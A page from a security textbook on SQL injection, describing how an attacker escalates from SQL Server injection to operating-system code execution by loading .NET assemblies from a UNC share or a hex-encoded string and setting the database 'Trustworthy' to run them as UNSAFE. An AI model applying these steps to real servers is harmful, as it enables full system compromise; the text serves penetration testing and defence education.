SQL Injection Attacks and Defense - 2009

308 Chapter 6 • Exploiting the Operating System
■■
■■
Load the executable from a UNC share:
1. Create the DLL (or EXE) on a publicly accessible Windows share.
2. Call CREATE ASSEMBLY FOO from \\public_server\temp\foo.dll.
Create the executable from a passed string:
1. Create an executable.
2. Unpack the executable into HEX:
File.open("moo.dll","rb").read().unpack("H*")
["4d5a90000300000004000000ffff0……]
3. Call CREATE ASSEMBLY MOO from 0x4d5a90000300000004000000ffff0.
The question that remains is what level of trust is given to these executables, considering
the robust trust levels afforded through .NET. A full discussion of the .NET trust levels is
beyond the scope of this book, but for completeness they are as follows:
■■ SAFE:
■■ Perform calculations
■■ No access to external resources
■■
■■
EXTERNAL_ACCESS:
■■ Access to the disk
■■ Access to the environment
■■ Almost full access with some restrictions
UNSAFE:
■■ Equivalent of full trust
■■ Call unmanaged code
■■ Do anything as SYSTEM
Our goal would obviously be to be able to load a binary as UNSAFE. To do this,
however, requires that our binary be signed during development and that our key be trusted
to the database. This would seem like too much of a mission to overcome through injection,
but we are afforded a way out, since we can simply set the database to “Trustworthy” to
bypass this limitation.
This allows us to create a .NET binary with no limitations and then import it into the
system with permission set to UNSAFE (see Figure 6.22).